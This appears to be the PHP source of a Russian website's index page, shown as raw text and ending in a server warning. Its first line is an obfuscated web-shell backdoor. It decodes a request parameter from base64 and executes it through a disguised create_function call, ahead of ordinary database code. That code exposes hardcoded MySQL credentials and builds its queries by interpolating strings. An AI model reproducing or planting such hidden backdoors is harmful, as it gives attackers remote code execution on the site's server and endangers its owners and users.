$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();?> $db = mysql_connect ("localhost","aksenovrm","aksenovrm"); mysql_select_db("aksenovrm_arma",$db); mysql_query("SET NAMES cp1251"); function globper($a) { if (isset($_REQUEST[$a])) { $per = $_REQUEST[$a]; $per = trim($per); $per = htmlspecialchars($per); $per = mysql_real_escape_string($per); return $per;} else { return null; } } $name_com=globper('name_com');$mail_com=globper('mail_com'); $act = globper('act');$vie_id = globper('vie_id');$text = globper('text');$cat_id = globper('cat_id');$str_id = globper('str_id');$str_cat = globper('str_cat');$image = globper('image'); $name=globper('name');$phone=globper('phone');$mail=globper('mail'); function al($a){ echo ''; } if(!isset($act)){$act='cat';$cat_id=3;} $basecat = mysql_query("SELECT * FROM `cat` WHERE `cat_id`='{$cat_id}'",$db)or die(mysql_error()); $cat = mysql_fetch_array($basecat); $basestr = mysql_query("SELECT * FROM `str` WHERE `str_id`='{$str_id}'",$db) or die(mysql_error()); $str_nazv = mysql_fetch_array($basestr); ?>
Warning: mysql_query() expects parameter 2 to be resource, null given in /home/users/a/aksenovrm/domains/armadaii.ru/index.php on line 14